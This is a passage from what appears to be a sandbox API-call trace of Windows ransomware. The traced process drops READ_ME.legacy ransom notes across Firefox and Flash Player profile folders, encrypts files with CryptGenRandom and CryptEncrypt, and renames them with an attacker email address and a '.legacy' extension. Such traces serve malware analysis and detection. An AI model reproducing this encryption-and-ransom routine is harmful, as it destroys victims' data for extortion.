player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b48 [0181.987] WriteFile (in: hFile=0x1b48, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0181.988] CloseHandle (hObject=0x1b48) returned 1 [0181.988] FindNextFileW (in: hFindFile=0x2f736f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93155c3, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf93155c3, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf93155c3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.989] SetLastError (dwErrCode=0x0) [0181.989] GetLastError () returned 0x0 [0181.989] SetLastError (dwErrCode=0x0) [0181.989] SetLastError (dwErrCode=0x0) [0181.989] FindNextFileW (in: hFindFile=0x2f736f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93155c3, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf93155c3, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf93155c3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.989] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf93155c3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f737f0 [0181.989] SetLastError (dwErrCode=0x12) [0181.989] GetLastError () returned 0x12 [0181.989] SetLastError (dwErrCode=0x12) [0181.989] GetLastError () returned 0x12 [0181.989] SetLastError (dwErrCode=0x12) [0181.989] FindNextFileW (in: hFindFile=0x2f737f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf93155c3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.990] SetLastError (dwErrCode=0x12) [0181.990] GetLastError () returned 0x12 [0181.990] SetLastError (dwErrCode=0x12) [0181.990] GetLastError () returned 0x12 [0181.990] SetLastError (dwErrCode=0x12) [0181.990] FindNextFileW (in: hFindFile=0x2f737f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93155c3, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf93155c3, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf93155c3, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.990] SetLastError (dwErrCode=0x12) [0181.990] GetLastError () returned 0x12 [0181.990] SetLastError (dwErrCode=0x12) [0181.990] SetLastError (dwErrCode=0x12) [0181.990] FindNextFileW (in: hFindFile=0x2f737f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="sys", cAlternateFileName="")) returned 1 [0181.990] SetLastError (dwErrCode=0x12) [0181.990] GetLastError () returned 0x12 [0181.990] SetLastError (dwErrCode=0x12) [0181.990] GetLastError () returned 0x12 [0181.990] SetLastError (dwErrCode=0x12) [0181.990] SetLastError (dwErrCode=0x12) [0181.990] GetLastError () returned 0x12 [0181.991] SetLastError (dwErrCode=0x12) [0181.991] SetLastError (dwErrCode=0x12) [0181.991] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4c [0181.994] WriteFile (in: hFile=0x1b4c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0181.995] CloseHandle (hObject=0x1b4c) returned 1 [0181.995] FindNextFileW (in: hFindFile=0x2f737f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="sys", cAlternateFileName="")) returned 0 [0181.995] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf933b799, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73830 [0181.995] SetLastError (dwErrCode=0x12) [0181.995] GetLastError () returned 0x12 [0181.995] SetLastError (dwErrCode=0x12) [0181.995] GetLastError () returned 0x12 [0181.995] SetLastError (dwErrCode=0x12) [0181.995] FindNextFileW (in: hFindFile=0x2f73830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf933b799, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.996] SetLastError (dwErrCode=0x12) [0181.996] GetLastError () returned 0x12 [0181.996] SetLastError (dwErrCode=0x12) [0181.996] GetLastError () returned 0x12 [0181.996] SetLastError (dwErrCode=0x12) [0181.996] FindNextFileW (in: hFindFile=0x2f73830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf933b799, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf933b799, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf933b799, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.996] SetLastError (dwErrCode=0x12) [0181.996] GetLastError () returned 0x12 [0181.996] SetLastError (dwErrCode=0x12) [0181.996] SetLastError (dwErrCode=0x12) [0181.996] FindNextFileW (in: hFindFile=0x2f73830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf933b799, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf933b799, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf933b799, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.996] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf933b799, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f737b0 [0181.996] SetLastError (dwErrCode=0x12) [0181.996] GetLastError () returned 0x12 [0181.997] SetLastError (dwErrCode=0x12) [0181.997] GetLastError () returned 0x12 [0181.997] SetLastError (dwErrCode=0x12) [0181.997] FindNextFileW (in: hFindFile=0x2f737b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf933b799, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.997] SetLastError (dwErrCode=0x12) [0181.997] GetLastError () returned 0x12 [0181.997] SetLastError (dwErrCode=0x12) [0181.997] GetLastError () returned 0x12 [0181.997] SetLastError (dwErrCode=0x12) [0181.997] FindNextFileW (in: hFindFile=0x2f737b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="events", cAlternateFileName="")) returned 1 [0181.997] SetLastError (dwErrCode=0x12) [0181.997] GetLastError () returned 0x12 [0181.997] SetLastError (dwErrCode=0x12) [0181.997] GetLastError () returned 0x12 [0181.997] SetLastError (dwErrCode=0x12) [0181.997] SetLastError (dwErrCode=0x12) [0181.997] GetLastError () returned 0x12 [0181.998] SetLastError (dwErrCode=0x12) [0181.998] SetLastError (dwErrCode=0x12) [0181.998] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\events\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b54 [0181.998] WriteFile (in: hFile=0x1b54, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0182.000] CloseHandle (hObject=0x1b54) returned 1 [0182.000] FindNextFileW (in: hFindFile=0x2f737b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf933b799, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf933b799, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf933b799, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.000] SetLastError (dwErrCode=0x0) [0182.000] GetLastError () returned 0x0 [0182.000] SetLastError (dwErrCode=0x0) [0182.000] GetLastError () returned 0x0 [0182.000] SetLastError (dwErrCode=0x0) [0182.000] FindNextFileW (in: hFindFile=0x2f737b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923a75e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="store.json.mozlz4", cAlternateFileName="STOREJ~1.MOZ")) returned 1 [0182.000] SetLastError (dwErrCode=0x0) [0182.000] GetLastError () returned 0x0 [0182.000] SetLastError (dwErrCode=0x0) [0182.000] SetLastError (dwErrCode=0x0) [0182.000] FindNextFileW (in: hFindFile=0x2f737b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923a75e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="store.json.mozlz4", cAlternateFileName="STOREJ~1.MOZ")) returned 0 [0182.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0182.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0182.001] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4", dwFileAttributes=0x80) returned 1 [0182.001] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b54 [0182.001] GetFileSizeEx (in: hFile=0x1b54, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=66) returned 1 [0182.002] ReadFile (in: hFile=0x1b54, lpBuffer=0x56a148, nNumberOfBytesToRead=0x42, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56a148*, lpNumberOfBytesRead=0x2e1f9bc*=0x42, lpOverlapped=0x0) returned 1 [0182.003] SetFilePointer (in: hFile=0x1b54, lDistanceToMove=-66, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.003] WriteFile (in: hFile=0x1b54, lpBuffer=0x569ba8*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x569ba8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42, lpOverlapped=0x0) returned 1 [0182.003] SetFilePointer (in: hFile=0x1b54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42 [0182.003] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.003] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.003] WriteFile (in: hFile=0x1b54, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.004] WriteFile (in: hFile=0x1b54, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.004] CloseHandle (hObject=0x1b54) returned 1 [0182.004] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0182.006] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb844f993, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73470 [0182.006] SetLastError (dwErrCode=0x0) [0182.006] GetLastError () returned 0x0 [0182.006] SetLastError (dwErrCode=0x0) [0182.006] GetLastError () returned 0x0 [0182.006] SetLastError (dwErrCode=0x0) [0182.007] FindNextFileW (in: hFindFile=0x2f73470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb844f993, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.007] SetLastError (dwErrCode=0x0) [0182.007] GetLastError () returned 0x0 [0182.007] SetLastError (dwErrCode=0x0) [0182.007] GetLastError () returned 0x0 [0182.007] SetLastError (dwErrCode=0x0) [0182.007] FindNextFileW (in: hFindFile=0x2f73470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14717c78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="archived", cAlternateFileName="")) returned 1 [0182.007] SetLastError (dwErrCode=0x0) [0182.007] GetLastError () returned 0x0 [0182.007] SetLastError (dwErrCode=0x0) [0182.007] GetLastError () returned 0x0 [0182.007] SetLastError (dwErrCode=0x0) [0182.007] SetLastError (dwErrCode=0x0) [0182.007] GetLastError () returned 0x0 [0182.007] SetLastError (dwErrCode=0x0) [0182.007] SetLastError (dwErrCode=0x0) [0182.007] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b58 [0182.011] WriteFile (in: hFile=0x1b58, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0182.012] CloseHandle (hObject=0x1b58) returned 1 [0182.012] FindNextFileW (in: hFindFile=0x2f73470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9361b7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9361b7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9361b7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.012] SetLastError (dwErrCode=0x0) [0182.012] GetLastError () returned 0x0 [0182.012] SetLastError (dwErrCode=0x0) [0182.012] SetLastError (dwErrCode=0x0) [0182.012] FindNextFileW (in: hFindFile=0x2f73470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5bba89, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2d5bba89, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2d5bba89, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="session-state.json", cAlternateFileName="SESSIO~1.JSO")) returned 1 [0182.013] SetLastError (dwErrCode=0x0) [0182.013] GetLastError () returned 0x0 [0182.013] SetLastError (dwErrCode=0x0) [0182.013] SetLastError (dwErrCode=0x0) [0182.013] FindNextFileW (in: hFindFile=0x2f73470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x145d99f2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x145d99f2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="state.json", cAlternateFileName="STATE~1.JSO")) returned 1 [0182.013] SetLastError (dwErrCode=0x0) [0182.013] GetLastError () returned 0x0 [0182.013] SetLastError (dwErrCode=0x0) [0182.013] GetLastError () returned 0x0 [0182.013] SetLastError (dwErrCode=0x0) [0182.013] FindNextFileW (in: hFindFile=0x2f73470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x145d99f2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x145d99f2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="state.json", cAlternateFileName="STATE~1.JSO")) returned 0 [0182.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0182.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0182.013] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json", dwFileAttributes=0x80) returned 1 [0182.016] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\state.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b58 [0182.016] GetFileSizeEx (in: hFile=0x1b58, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=51) returned 1 [0182.016] ReadFile (in: hFile=0x1b58, lpBuffer=0x2f734b0, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f734b0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33, lpOverlapped=0x0) returned 1 [0182.017] SetFilePointer (in: hFile=0x1b58, lDistanceToMove=-51, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.017] WriteFile (in: hFile=0x1b58, lpBuffer=0x2f734f0*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f734f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33, lpOverlapped=0x0) returned 1 [0182.017] SetFilePointer (in: hFile=0x1b58, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, 